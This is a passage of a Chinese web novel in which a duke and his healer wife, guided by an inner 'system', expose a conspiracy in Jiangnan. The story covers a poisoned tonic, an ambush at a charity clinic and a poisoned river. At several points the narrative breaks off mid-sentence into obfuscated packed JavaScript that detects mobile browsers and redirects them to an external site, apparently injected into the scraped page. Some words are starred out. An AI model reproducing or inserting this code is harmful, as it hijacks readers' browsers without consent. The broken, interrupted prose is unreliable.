最后他恳请陛下授予临时决断的权利,并秘密调来给我。更多可信的人手,以备不时之需。 密信用特殊药水书写,干涸后字迹隐去,看起来就像一张白纸。 又用火漆密封,盖上他的私印。 “王猛!” 王猛应声走进来。 “你亲自带人,八百里加急,将密信送到京城,面呈陛下,沿途不得有任何耽搁,不得经任何驿站!若遇阻拦格杀勿论!”杜仁绍语气森然。 “是!”王猛深知事关重大,接过密信贴身藏好,转身大步离去。 送走王猛,杜仁绍身体晃了一下,额角渗出虚汗。 李梵娘连忙扶住他:“你快躺下歇歇。” 杜仁绍就着她的力道躺下。 “梵娘,陛下的旨意和援兵到来还需要一些时日,在这之前,我们也不能干等。” “我明白,”李梵娘替他掖好被角,“名单上这些人,尤其是与医药、矿产、钱庄相关的,我们可以先暗中监视起来,摸清他们的日常和人际往来。” “我也正有此意。”杜仁绍点头,“我会让沈追去安排,皇城司在江南还有些底子,调动他们去做这件事。你…” 他顿了顿,看着她,“‘云山亭’的许多秘密恐怕都藏在那些药堂、医馆、甚至是普通的药材铺里,需要你亲自出面。” 李梵娘了然:“我正好可以借‘探讨江南疫病防治’、‘采集本地药材’、‘交流医术’的名义,正大光明地走访苏州乃至周边州府。” “但此行或许有风险,”杜仁绍不可能不担心,“你…” “放心,”李梵娘笑了笑,“我有分寸。” 第二百一十六章 打探 “他们会防着你的玄甲军,防着皇城司的探子,但对我这个‘只知治病救人’的医仙,防备总会少些。” “况且,我还有‘它’帮忙。”她指了指自己的脑袋。 系统默默挺起了并不存在的胸膛。 杜仁绍知道这是目前最好的办法,只能握紧她的手:“一切小心,我会让沈追派最好的人手暗中保护你。” 计划敲定下来,两人便分头准备。 杜仁绍召来沈追,吩咐要监视的名单,布下了一张监视网。 李梵娘则开始准备“医药交流”所需要的物品,同时让系统调取资料,提前做好功课。 两日后,李梵娘的“医药交流”正式开始。 她并没有大张旗鼓,只带了四个身手矫健的侍女,实际上是沈追精心挑选的女探子。 以及十个普通护卫,坐着一辆看起来不起眼,内里却经过加固的马车,离开了军营。 杜仁绍站在车旁,替她理了理帷帽上的轻纱,眼里的担忧几乎要溢出来。 “早去早回,一切以自身安全为重。” “我知道。”李梵娘点点头,“你安心养伤,按时吃药,等我回来检查。若是不乖…” 她故意顿了顿。 杜仁绍无奈一笑:“媳妇儿的话,我肯定不敢不从。” 马车驶向苏州城。 李梵娘的第一站,是苏州城内历史最悠久的济世堂大药房。 这家药房不仅药材齐全,更坐镇着几位苏州乃至江南都极有名望的老大夫。 选择这里作为起点,合乎情理,也不容易引人怀疑。 马车在济世堂门前停下,李梵娘在侍女的搀扶下下车。 她今日穿着一身素雅而不失身份的常服,戴着帷帽,气质清雅。 济世堂的掌柜和坐堂大夫早就接到了消息,不敢有丝毫怠慢,恭敬地将她迎进内堂奉茶。 寒暄过后,李梵娘便直奔主题,表示自己对江南药材颇感兴趣,尤其是某些药性独特、可用于应对疫病的药材,想请教一番,并看看药堂的珍藏。 掌柜的自然知无不言,引着她参观药柜,详细介绍各种药材。 李梵娘看似随意地听着看着,不时提出一些专业问题,让几位老大夫都刮目相看,交谈愈发投机。 【宿主,侧院库房有类似密室中的毒草残留。】 李梵娘神色不变,依旧与老大夫探讨着一味药材的炮制火候,不经意的问了一嘴,“听闻贵堂不仅药材齐全,而且对于一些古方、偏方也有涉猎?” “不知可有收藏一些…嗯…较为罕见的方剂或药材?我对这些也颇感兴趣,或许可以切磋一二。” 一位须发皆白的老大夫摸着胡子笑道:“夫人果然见识不凡。不瞒您说,老朽堂中确实收有一些古籍残方,至于罕见药材…” “后堂倒是存有几味,只是药性猛烈,一般不敢示人。” “哦?”李梵娘恰到好处地表现出好奇,“竟有此事?实不相瞒,我对于毒理也有些研究,正所谓**亦可救人,关键在用度,不知可否一观?” 老大夫有些犹豫。 那几味药材确实敏感。 旁边另一位稍年轻些的大夫轻咳一声,接过话茬子。 “夫人见谅,那些药材存放的时间太长,恐怕药性也有变化,而且存放的地方有些杂乱,不便待客。不如我们先看看这些…” 李梵娘眼尖地注意到,这位大夫说话时,和掌柜的递了个眼神。 而且似乎还有些紧张? 【宿主,他撒谎。】 李梵娘心中了然,知道这济世堂恐怕也并非全然干净,至少有人与“云山亭”有牵连,或者受到了警告或控制。 她不再强求,顺势笑着说下去,“既然如此,我便不强求了,今日与诸位交流,收获颇多,日后若有机会,再行请教。” 又闲聊了片刻,她便起身告辞,并未露出任何异样。 离开济世堂,李梵娘又接连走访了城中另外几家颇具规模的药铺和医馆。 过程大同小异,她精湛的医术和真诚的交流态度,赢得了不少大夫的敬佩和好感,也确实收集到了一些有用的信息。 但每当她试图将话题引到某些特殊药材、古方,或者是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车里,李梵娘摘下帷帽,脸色凝重。 “系统,帮我把济世堂侧院库房、百草集地下密室、仁心医馆拒绝参观的后坊,还有那几个大夫和掌柜都记好。” 【可以肯定‘云山亭’对江南这边的渗透很深。】 “嗯,他们利用这些药堂、医馆、商行,来掩饰他们研制那些阴**物的事实。” 接下来的几天,李梵娘依照计划走访了苏州附近几个州府的镇子。 过程并不是一帆风顺。 她察觉到有一双眼睛在暗中注视着她。 某些她计划拜访的药堂会突然和她说“东主有事”不方便接待。 还有一些之前答应和她交流的大夫临时变卦。 甚至她的马车在路上也遇到过几次“意外”,虽然没有造成伤害,却处处透着蹊跷。 “他们开始警惕了。”李梵娘在镇子上的驿馆时,给杜仁绍传递消息,“但也证明,我们摸对了方向。” 杜仁绍的回信很快传来,字里行间都透着担忧。 “一切小心,安全第一。京中的回信已经到了,陛下已经全部知晓,让我全权接管我全权,援兵过几天就到了。收网的时间将近,不要轻易涉险。” 李梵娘收起纸条,看着窗外的沉沉夜色。 江南的夜,温柔缱绻,底下却暗藏杀机。 又过了两日,李梵娘结束了在外府的走访,返回了苏州城外的军营。 她带回了大量明面上的医药笔记、药材样本,以及无数细节和异常点。 杜仁绍的伤已经好了七成,至少可以下榻活动了。 她回来的当夜,军营里来了几位“不速之客”。 为首者一身风尘仆仆的商旅打扮,面容普通,眼神却锐利如鹰。 正是皇城司的副指挥使,皇帝心腹赵无咎。 他身后跟着几名同样打扮低调,却气息内敛的人。 “卑职赵无咎,奉陛下密旨,参见国公爷,夫人!” 一进军帐,赵无咎立刻卸去伪装,单膝跪地,从怀中取出一封密旨和一枚玄铁令。 杜仁绍和李梵娘神色一凛。 杜仁绍接过密旨,仔细验看火漆印鉴后,才拆开看。 脸上的表情越看越凝重。 密旨上,皇帝陛下对江南之事震怒,痛斥“云山亭”狼子野心,祸国殃民。 同意了杜仁绍的判断和请求,授予他专断权,可先斩后奏。 同时,命赵无咎率皇城司的“暗影”听他调遣。 此外,京畿大营的一队骑兵已经化整为零,正日夜兼程的往这边赶,三日内必到。 “陛下圣明!”杜仁绍沉声道,将密旨递给李梵娘看,自己则拿起那枚玄铁令。 令牌触手冰冷,上面刻着“如朕亲临”四个字。 “赵指挥使请起,”杜仁绍虚扶一下,“一路辛苦,如今情势,想必沿途已经有了解。” 赵无咎起身,“卑职已经初步接掌江南皇城司暗线,国公爷所获名单上的人,大多已在监视,只待国公爷一声令下。” “好!”杜仁绍走到帐中悬挂的江南舆图前。 “陛下予我权利,便是要我等以雷霆之势,铲除奸佞,还江南朗朗乾坤!” 他指向地图:“如今敌明我暗…不,应该是他们不知我已经张网以待。” “梵娘,”他看向李梵娘,“你将近日所获,详细告知赵指挥使。” 李梵娘点头,将她走访所得,悉数告知赵无咎。 赵无咎听得极为认真,眼中不时闪过惊诧与敬佩。 他没想到这位医仙夫人不仅医术通神,竟还有如此敏锐的洞察力和情报分析能力。 “夫人提供的线索至关重要!”赵无咎道,“打掉这些节点,必能让他们阵脚大乱!” 杜仁绍沉吟片刻,手指在舆图上一点:“不错!但动手之前,我们需要详细的计划在行动。” “我们的目标,不是一两家药铺,而是要顺着这些脉络,将他们连根拔起,一网打尽。” 他看向赵无咎:“赵指挥使,你立刻安排下去,对夫人标注的所有重点目标,加派人手。” “必须要十二时辰不间断监视,摸清他们的人员往来、货物进出的规律,我要知道他们的每一处暗门,每一条密道!” “是!”赵无咎领命。 “王猛!”杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468667|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁绍继续安排。 “末将在!” “京营骑兵一到,立刻接管苏州及各府州城门和交通枢纽,没有我的手令,一只苍蝇也不许飞出去,尤其是各码头。” “得令!” “沈追!” “卑职在!” “你率一队人,配合赵指挥使的人,重点盯住名单上那几位在职的官员和将领!” “一旦我们开始行动,他们若是有任何异动…就地拿下!若遇到反抗的,格杀勿论!” “是!” 帐内众人神情严肃,他们都明白有一场硬仗要打。 部署完毕,众人各自离开,帐内只剩下杜仁绍和李梵娘。 杜仁绍因为刚才一番操作,气息有些急促。 李梵娘连忙扶他坐下,替他检查伤口:“你伤势未愈,不宜过度劳神。” 杜仁绍握住她的手,眼神亮得惊人:“无妨。陛下既予重任,我怎么能不重视?只是…” 他看向她,语气有些担忧,“行动的时候,刀剑无眼,你…” “我就在这军中大营,哪里也不去。”李梵娘知道他的担心。 “我会准备好一切急救药物,等着你们凯旋。倒是你,旧伤未愈,一定要小心!” 杜仁绍一把将她揽在怀里。 “放心,为了你,为了春儿,为了这天下,我一定会平安归来。待到尘埃落定时,我陪你好好看看这江南烟雨。” “好,我等着你陪我。”李梵娘靠在他肩头上,轻声应着。 然而,就在杜仁绍紧锣密鼓地安排部署时,京营骑兵还没有来,“云山亭”倒是有了动作。 矛头对准了后方的李梵娘。 这日午后,李梵娘正在临时辟出的药房里整理最近采集的药材样本,准备配制一批强效解毒丹和伤药,以备不时之需。 一个面生的士兵端着食盘走了进来。 “夫人,国公爷吩咐厨房给您炖了盏冰糖燕窝,让您润润肺,休息片刻。” 李梵娘头也没抬,随口应了一句,“放下吧,有劳了。” 那人将炖盅放在桌角,垂手立在一旁,似乎要等她喝完再收拾走。 第二百一十八章 新发现 李梵娘专注手里的药杵,并没有立刻去动那盅燕窝。 【我擦,宿主宿主,那炖盅里有“千机散”,你要喝了的话,半刻钟就得见阎王。】 系统着急的提醒李梵娘,这可别给它俗话喝了,再噶喽。 李梵娘捣药的动作猛地一顿,后背瞬间沁出一层冷汗。 她强压下心惊,面上不动声色,嘴角还噙着一丝笑意,仿佛仍在专注捣药。 眼角的余光却飞快地扫过那士兵。 只见他低眉顺眼,姿态谦卑,但垂在身侧的手指却微微蜷缩,透着紧张。 “系统,看看这人是谁。” 【这人是假冒的,顶的那火头军刘三。】 好一招李代桃僵。 李梵娘心念一转,立刻意识到军营内必然有内应接应这人。 她若在这时揭穿,固然能拿下此人,但必然会打草惊蛇,让内应和幕后主使藏的更深。 必须悄无声息地解决这件事儿,顺便揪出内奸。 她故意抬手揉了揉额角,露出些许疲惫,自然地转向那炖盅,笑道:“国公爷有心了,正好我有些乏了。” 她用勺子搅动了一下燕窝,作势要尝。 那人的呼吸几不可察地急促了一瞬。 就在勺子即将碰到嘴唇的那一刻,李梵娘手腕一抖。 “哎呀!”她轻呼一声,仿佛手滑没拿稳,整盅燕窝连同炖盅“啪嚓”一声摔在地上,汤汁四溅。 “奴婢该死!奴婢手笨!”那假士兵立刻跪地请罪,声音惶恐,眼神却飞快地瞟了一眼地上的残渣,闪过懊恼。 “无妨,是我自己没拿稳,吓到你了。”李梵娘语气温和,带着歉意,“快起来,收拾一下便是。可惜了这么好的燕窝…” 她一边说着一边弯腰,准备去捡拾较大的碎片。 就在弯下腰的刹那,她指尖一弹,一根银针悄悄刺到那假士兵小腿的麻穴上。 假士兵身体一僵,他感觉半身酸麻,差点儿栽倒,立刻稳住,只当是自己腿麻了,并没有起疑。 李梵娘则借着收拾碎片的动作,迅速处理了地上的毒液,使其迅速氧化失效。 “好了,这里我来收拾,你去忙吧。”李梵娘直起身,对他笑了笑。 假士兵如蒙大赦,忍着腿麻,行礼后快步退了出去,急着去向同伙汇报消息。 人一走,李梵娘脸上的笑瞬间消失。 她立刻对门口守卫的亲兵低声吩咐:“立刻悄悄去请国公爷过来,就说我有些不舒服,不要声张,也不要让任何人察觉异常。” “再让王猛带几个可信的人,暗中盯住刚才送燕窝出去的那个人,看他和什么人有接触,一有动静就赶紧抓起来,但不要惊动旁人!” 亲兵见夫人神色凝重,不敢怠慢。 不过片刻,杜仁绍便快步走了过来,脸上带着焦急:“梵娘?哪里不舒服?” 李梵娘拉着他迅速进了帐子,压低声音把刚才发生的一幕和她的处置快速说了一遍。 杜仁绍听完,脸色铁青,眼里杀气腾腾的,拳头捏得咯咯作响:“好胆量,竟敢给你下毒!” 他猛地站起身就要往外冲:“我这就去宰了那杂碎!” “仁绍!冷静!”李梵娘一把拉住他的胳膊,“现在不能打草惊蛇,我已让王猛去盯了,我们要放长线,揪出内应和一串儿人来!” 杜仁绍深吸一口气,强迫自己冷静下来,但胸口仍在剧烈起伏,可见他气的够呛。 “你说的对…是我急昏头了。你…你真没事?”他紧张地上下打量她。 “我没事,没碰那燕窝,也处理干净了。”李梵娘安抚地拍拍他的手,“现在我们需要演一场戏。” 很快,镇国公夫人因劳累过度、心悸不适,需要闭门静养,暂时不见客的消息悄悄传开。 杜仁绍一脸“忧心忡忡”地守在房内,亲自照料,谢绝了一切探视。 而暗地里,王猛悄悄跟着那个假士兵。 那假士兵在角落和另一名负责采买的文书军官低声交谈片刻后,便悄悄溜向马厩,准备骑马离营报信。 就在他刚要翻身上马的瞬间,王猛从暗处走出来,一手捂住他的口鼻,一手反剪住他的双臂,直接将人拖在阴影里。 几乎同时,沈追带人以迅雷不及掩耳之势控制了那名文书军官。 经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468668|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分开突审和心理攻势,两人很快招了供。 他们均是早年便被“云山亭”用重金和家人性命控制的内应。 此次奉命里应外合,给李梵娘下毒,若失手则立即撤离报信。 并供出了一个重要情报:城外五里坡的土地庙,是他们与上线传递消息的联络点。 “果然还有大鱼!”杜仁绍冷笑。 他立刻与李梵娘、赵无咎拟定计划:派人冒充这名假军士,前往五里坡土地庙“报信”,谎称**虽然没有成功,但李梵娘已经**昏迷,军营大乱,诱使上线现身。 赵无咎亲自挑了个精于伪装和潜伏的“暗影”成员,扮作假士兵,带着“密信”前往五里坡。 杜仁绍则率一队人马提前埋伏在土地庙周围,守株待兔。 李梵娘坚持要一起去,藏在远处一辆伪装的马车内,通过系统看着那边的情况,随时预警可能出现的陷阱或异常。 夜色深沉,五里坡一脸荒凉,安静的只有虫鸣风声。 冒充的“暗影”成员依约在土地庙墙角留下标记,然后藏在暗处等着。 约莫半个时辰后,一个戴着斗笠、农夫打扮的身影鬼鬼祟祟地出现,仔细查看了一眼标记后,正要转身离开。 “动手!”杜仁绍一声令下。 埋伏的玄甲军瞬间将他团团围住。 那人反应极快,从袖子里滑出一把淬毒的**,身手竟相当不弱。 但双拳难敌四手,很快被制服,卸了下巴,防止他服毒**。 扯下斗笠,露出一张精明干练却满是戾气的脸。 经过赵无咎辨认,这个人竟是苏州府衙一名掌管刑名案卷的资深师爷。 地位不高,却能接触到大量机密信息。 “好!好一个‘云山亭’!连府衙师爷都是你们的人!”杜仁绍气笑了。 这次针对李梵娘的刺杀,非但没有得逞,反而让杜仁绍他们掌握了更多的证据和信息。 杜仁绍握着李梵娘的手,眺望着苏州城的方向。 “看来这江南很快就要不平静了。”他声音低沉,带着杀意。 李梵娘回握他的手,“我陪你。” 第二百一十九章 谣言四起 五里坡抓获府衙师爷的喜悦并没有持续太久。 杜仁绍和李梵娘都清楚,这不过是斩断了“云山亭”伸出的一只触手,他们随时可能反扑。 果然,仅仅平静了两日,一股暗流便开始在苏州城内涌动。 起初是些不起眼的流言悄无声息地钻入市井巷陌、茶楼酒肆。 “听说了吗?那位京城来的镇国公,查案是假,抄家敛财是真!好些大户都被盯上了,家破人亡就在眼前!” “可不是!说什么查前朝余孽,我看呐,就是想捞足了银子回京孝敬上头!” “还有那位医仙娘娘,看着菩萨心肠,谁知道用的什么邪门手段?” “听说她治病根本不用寻常药材,都是用些蛊虫符水,吸人精气续命呢!” “对对对!我也听说了,上次瘟疫她能那么快治好,就是用了折寿的邪法,沾上她药的人,以后都要倒大霉的!” 谣言越传越离谱,越传越吓人,巧妙的利用了百姓对权贵的天然不信任和对未知力量的恐惧。 加上之前苏州知府被拿下,一些与顾家有牵连的商铺、钱庄被暗中监控或查封,确实引起了部分人的恐慌和不满,给了谣言滋生的土壤。 军营大帐内,杜仁绍听着沈追和赵无咎汇总来的消息,面色阴沉如水,拳头攥得骨节发白。 “好手段!”他的声音里淬着冰,“不敢明刀明枪,便用这种下作手段,妄图搅乱民心,让我们束手束脚!” 李梵娘坐在一旁,紧抿的唇透露了她内心的愤怒与忧虑。 她行医救人,平生最恨便是有人以医术、病患作为筹码行龌龊之事。 “他们这是被逼急了,想先搅浑水,再趁乱行事。”她冷静分析,“我们必须尽快应对,否则百姓一旦被煽动起来,后果不堪设想。” 杜仁绍看向她,眼中杀气稍敛,带上了一丝询问:“梵娘,你的意思是?” “谣言止于智者,更止于事实。”李梵娘站起身,“他们散他们的谣言,我治我的病。” “仁绍,你稳住可能出现的乱子。” “我明日便去苏州城内,公开义诊,让苏州城的百姓亲眼看看,我用的到底是仙术还是邪术!” 杜仁绍眉头紧锁:“不行,太危险了,他们必会趁机对你不利!” “越是如此,我越要去。”李梵娘语气坚定,“若我缩在营中,反倒坐实了谣言,也会寒了那些信任我的百姓的心。” “你放心,我会做好万全准备,赵指挥使和王猛多派些人手暗中护卫便是。况且…” 她顿了顿,眼中闪过一丝精光:“我也正好借此机会,看看哪些人会跳出来。” 杜仁绍知道她的性子,也知道这是目前最稳妥的办法。 他深吸一口气,握住她的手,“好!但你必须答应我,一切以自己的安全为重,感觉有不对劲,立刻撤回!” “嗯。”李梵娘回握他的手。 第二日,苏州城内最繁华的观前街口,搭起了一个义诊棚。 李梵娘一袭素衣,未戴帷帽,面容沉静地坐在棚内,身旁是几位从教**局带来的弟子和装满各类药材成药的大箱子。 棚外立着一块木牌,上面写着:护国医仙李梵娘,今日义诊,分文不取,疑难杂症都可来看。 消息像长了翅膀一样飞遍全城。 起初百姓们远远围观,指指点点,眼里满是不信,甚至是恐惧,没人敢上前。 李梵娘也不急,只是等着,偶尔与弟子低声讨论医理,或是整理手边的银针、药瓶,神态自若。 终于,一个抱着孩子的妇人挤开人群,哭着跪倒在棚前:“医仙娘娘!求求您救救我的娃吧!他发热三天了,抽搐不止,城里的郎中都说没救了!求您发发慈悲!” 那孩子面色青紫,呼吸微弱,情况确实危急。 李梵娘立刻起身,快步上前扶起妇人:“大嫂快请起,把孩子给我看看。” 她仔细检查了孩子的瞳孔、舌苔、脉搏,迅速判断出是急惊风合并肺炎。 在无数眼睛的注视下,她取出银针,在孩子几个穴位上行针,又喂服了早就备好的急救药丸和汤剂。 不过一刻钟,那孩子原本急促的呼吸渐渐平缓,脸上的也褪去,甚至缓缓睁开眼睛哭了一声。 “活了!活了!娃活过来了!”那妇人喜极而泣,抱着孩子连连磕头。 围观的百姓顿时哗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有两人推倒街边的货架,点燃了准备好的火油罐,扔向义诊棚和人群。 “保护夫人!”护卫们赶紧把李梵娘围到中间。 场面大乱,百姓惊叫哭喊,四散奔逃。 李梵娘被弟子和护卫死死护在中间。 【宿主,左前方第三个人,****,右后方货架下,火油罐马上就扔出来了,正前方的目标是你!】 几乎在系统说话的同时,李梵娘和护卫喊话:“左三**!右后火油!正前刀手!” 她声音急促的报出了方位和方式。 护卫们闻声立刻做出反应。 “砰!”一个护卫直接用盾牌将左前方那暴徒连人带**砸翻在地。 “哗啦!”另一名护卫**一挑,将右后方刚举起的火油罐甩飞出去,在远处空地炸开一团火球。 “铛!”正前方持刀冲来的暴徒,被两名护卫交叉刀剑死死架住。 李梵娘被保护着向后撤退,心跳如鼓,额角沁出汗。 就在这时,街口传来马蹄声。 杜仁绍一马当先,直接劈飞了一个冲向李梵娘的暴徒。 他跃下马背,几步冲到李梵娘身边,一把将她揽住,上下打量,声音因为后怕而有些沙哑:“梵娘!你没事吧?!” “我没事!”李梵娘抓住他的手,“快控制局面,百姓受伤了!” 杜仁绍见她无恙,心里的石头落下,眼中杀意更盛。 他转身,“玄甲军,**所有人,束手就擒者免死,反抗者杀无赦。” 他话音刚落,更多的玄甲军涌入街道,迅速控制住局面,扑灭零星火点,救治受伤百姓,擒拿那些混在人群中制造混乱的人。 那些混在百姓中制造混乱、试图刺杀的死士见状,心知任务失败,干脆不装了,纷纷扑向最近的士兵或百姓,企图制造混乱来脱身。 “保护百姓!结阵!”王猛喊着,玄甲军迅速以小队为单位,将百姓护在身后,盾牌竖起。 战斗呈一边倒的态势。 这些“云山亭”死士虽然不怕死,但在配合默契的正规军面前,尤其是战力顶尖的玄甲军面前,根本不够看。 不断有死士被斩杀或捆起来。 就在这时…… 一直蜷缩在街角,伪装成受伤老妪的刺客,眼里闪过疯狂。 她撕开身上的衣服,露出身上绑着的黑铁罐,手中握着一个火折子,直直冲向杜仁绍和李梵娘。 “国公小心!”有亲卫惊叫出声。 那铁罐里是猛火油或是**,一旦爆开,后果不堪设想。 杜仁绍瞳孔一缩,下意识就要将李梵娘护在怀里。 千钧一发之际。 【宿主,你赶紧拉着你男人卧倒!】 但杜仁绍就在她身前,他不躲啊! 电光石火间,李梵娘一把推开杜仁绍的手臂,把手里的黑色小球砸到刺客膝盖上。 那是刚刚和系统要的强效冷凝剂。 “噗!” 一股子白色的雾气笼罩了那刺客的下半身。 刺客前冲的势头猛地一滞,发出凄厉的惨嚎,她的双腿自膝盖以下覆了一层冰霜,整个人摔倒在地。 手里的火折子也脱手飞了出去。 一名亲卫眼疾手快,飞起一脚将火折子踢出去老远。 另一名亲卫立刻用厚重披风死死裹住那刺客仍在挣扎的上半身和她身上的铁罐,迅速卸掉了她的下巴,防止其咬毒自尽。 一切发生的太快,杜仁绍甚至没完全反应过来,就解决了? 他猛地回头看向身旁的李梵娘,“你怎能如此冒险!” 方才那一刻,若她…… 李梵娘深吸一口气,压下狂跳的心,“信我。” 简单的两个字,把杜仁所有责备的话都堵在了喉咙里,只是握住她的手,发现她的指尖一片冰凉。 他解下自己的披风,将她裹紧,对左右人吩咐:“清理现场,救治百姓,将所有活口严密看管!” “赵无咎呢?让他的人立刻接手审讯!” “是!” 骚乱很快被平息。 街道上弥漫着淡淡的血腥味儿,受伤的百姓得到了及时的救治,玄甲军开始清理街道,押送俘虏。 杜仁绍揽着李梵娘,站在街口,夕阳将他们的身影拉得很长。 “看来,”杜仁绍声音低沉,“我们要提前收网了。” 李梵娘靠在他身侧,轻轻点头:“他们狗急跳墙了。今日之后必有更大动作。” 夫妻二人对视一眼,都看到了彼此眼中的决绝。 接下来的两日,苏州城的气氛紧张起来。 玄甲军加强了街面巡逻,四门盘查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473907|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严密了许多。 皇城司的暗探渗透到城市的每一个角落,不断有身份可疑的人员被秘密带走。 杜仁绍肩头的伤在李梵娘的精心调理下好了七八成,他已经重新披甲坐镇中军。 根据不断汇总来的情报和俘虏的供词,“云山亭”在江南的网正一点点被勾勒出来,渗透之深,图谋之大,看的人心惊。 他们不可能就这么甘心。 这日深夜,李梵娘正伏案研究从密室带回的那些毒经和实验记录,想要找出更多线索。 【宿主大大,苏州城西,胥江上游三岔河口被下毒了,和霍乱挺像的。】 李梵娘猛地站起身,脸色骤变:“胥江上游?那是苏州城主要的水源之一!” 【也就两个时辰后能到苏州城外取水的码头,四个时辰内污染城内大部分水源。】 “仁绍!”李梵娘找到正在与赵无咎、王猛议事的杜仁绍,“胥江上游,立刻派人封锁三岔河口水域!有人**!” 杜仁绍闻言,手中毛笔“啪”地一声折断,墨汁溅了一案。 “王猛!带你的人,用最快速度赶到三岔河口,拉起警戒,禁止任何人畜取用河水!沿途通知所有村落!违令者斩!” “赵无咎!让你的人立刻出动,沿河向上游搜查,发现任何可疑人员立刻抓捕!” “通知苏州府衙启动备用水源,全城通告,暂禁饮用河水,等候官府查验!” “是!”两人应声冲了出去。 军帐内只剩下夫妻二人。 杜仁绍走到李梵娘面前,握住她微颤的手:“确定是**?何种毒?可能遏制?” “症状像…拉肚子,但很危险。”李梵娘语速极快,“他们想制造大疫情,让苏州城陷入瘫痪!” “混账!”杜仁绍眼中怒火中烧,“真是一群毫无人性的畜生!” 他深吸一口气:“你需要什么?” “我需要立刻去三岔河口取水,才能配制出最有效的解药和净化剂,时间紧迫,必须在毒素大规模扩散前遏制住!” “我陪你去!”杜仁绍毫不犹豫。 “不行!你的伤还没全好,你…” “无碍!”杜仁绍打断她,“这种时候,我岂能让你独自涉险?不必多言!” 他转身取下佩刀,“我们轻车简从,立刻出发!” 第二百二十一章 ** 半个时辰后,几匹快马直奔城西三岔河口。 杜仁绍亲自驾车,李梵娘坐在他身旁,身后是王猛率领的一队骑兵。 夜风凛冽,吹得人衣袂猎猎作响。 越是靠近河口,空气中那股若有若无的甜腥味儿就越发明显。 李梵娘的心不断下沉。 到达目的地时,先一步赶到的士兵们已经用木栅和绳索拉起了简单的警戒线,阻止了几个想取水的渔民,现场气氛紧张。 河水看似与平常没什么不同。 李梵娘跳下马车,直奔河边。 杜仁绍紧随其后,手握刀柄,警惕地环视四周。 “系统,帮我分析水质,找到污染中心。” 【污染中心位于上游五百米处河湾回流区,毒素正在快速扩散。】 李梵娘立刻从药箱中取出特制的琉璃瓶和长杆,想要取水样。 “我来!”杜仁绍接过长杆,小心地探入河中取水。 就在水样取上来的瞬间,异变陡生! “咻!咻咻!” 几声破空声从侧面的芦苇荡中响起,直直射向杜仁绍和李梵娘。 “有埋伏!”杜仁绍一把将李梵娘拉到身后,同时挥刀挡住攻击。 “叮叮”几声,几枚淬毒的针被打落在地。 但还有一枚角度刁钻的直奔李梵娘面门。 杜仁绍回刀已来不及,竟下意识用手臂去挡。 “噗!”**没入他小臂。 “仁绍!”李梵娘惊呼。 “没事!”杜仁绍咬牙,一把拔出**,伤口周围瞬间泛起乌青。 “保护国公和夫人!”王猛气的眼睛通红,骑兵们立刻朝芦苇荡冲去,很快里面传来了兵刃交击和惨叫声。 李梵娘心脏几乎要跳出来,一把抓住杜仁绍的手:“别动!” 她立刻从药箱取出解毒血清和药粉,迅速给他注射、敷药。 【宿主,是同类毒的浓缩版本,幸好剂量小,立刻清创就行】 杜仁绍额角沁出冷汗,却哼都没哼一声,只催促:“快取样本!我撑得住!” 李梵娘强忍心疼和恐惧,快速取好水样让系统分析。 时间一分一秒地过去。 远处芦苇荡里的厮杀声渐渐平息,王猛提着滴血的刀回来。 “国公爷,夫人,刺客共七人,全部服毒自尽,没有一个活口。” 杜仁绍点点头,目光始终没离开李梵娘。 突然,李梵娘抬起头:“分析出来了!毒可以配制解药和净化剂!” “但需要的药材多,必须立刻回大营配制!” “王猛!你护送夫人回去!调动所有军医和药师,全力配合夫人!”杜仁绍立刻下令。 “那你呢?”李梵娘急问。 “我留在此地坐镇,指挥净水和排查,防止他们二次**!” “快走!时间不等人!” 李梵娘知道现在不是犹豫的时候,她深深看了杜仁绍一眼,看到他手臂上伤口处的黑色正在褪去,心下稍安。 